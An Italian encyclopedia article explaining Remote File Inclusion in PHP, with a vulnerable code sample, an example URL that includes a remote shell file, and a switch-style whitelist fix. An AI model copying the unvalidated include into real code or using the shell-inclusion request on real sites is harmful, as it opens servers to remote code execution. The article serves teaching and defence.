Remote File Inclusion

Remote File Inclusion, o RFI, nell'ambito della sicurezza informatica indica una vulnerabilità che affligge i servizi web con uno scarso controllo delle variabili arrivate da un utente, in particolare le variabili GET e POST del PHP. La vulnerabilità si manifesta quando una pagina da includere viene passata per una variabile non controllata.

Codice vulnerabile[modifica | modifica wikitesto]

Questo è un semplice esempio di un codice vulnerabile:

  <?php    $var = $_GET['var'];    include ($var);   ?> 

con una conoscenza anche limitata del PHP è molto chiaro ciò che accade, andando su quella pagina e modificando la variabile $var (presente nell'URL) a piacere si può vedere in azione il bug.

http://miosito.it/pagina_vulnerabile.php?var=http://www.miositoincluso.it 

in questo caso la variabile var assume il valore dell'URL immesso e nella pagina sarà inclusa la index di miositoincluso.it

Come funziona l'attacco[modifica | modifica wikitesto]

Se c'è la possibilità di un'inclusione arbitrale di codice PHP un cracker può includere una shell in PHP

http://miositovulnerabile.it/pagina_vulnerabile.php?var=miosito.it/shell.txt 

da notare che la pagina da includere non deve essere in PHP (perché altrimenti viene incluso solo l'output HTML generato della pagina e non il codice vero e proprio).

Come difendersi[modifica | modifica wikitesto]

In genere quando si deve includere una pagina esterna nella propria applicazione web si vuole includere solo un insieme molto ristretto e numerato di possibili pagine, e non tutte le pagine web di questo mondo. Basta quindi fare uno switch-case sui possibili valori della variabile GET, e a seconda del valore includere la pagina desiderata, senza lasciare completamente libero arbitrio all'utente. Basta questa accortezza per evitare ogni tipo di vulnerabilità di RFI.

http://miosito.it/index.php?var=1 

poi all'interno della pagina si effettua un controllo tra il possibile numero e il suo corrispettivo sito. Esempio:

<?php  $var = $_GET['var'];  if ($var == 1)include ('http://miositoesterno.it/miapagina1.php');  elseif ($var == 2)include ('http://miositoesterno.it/miapagina2.php');  else die('tentativo di intrusione'); ?>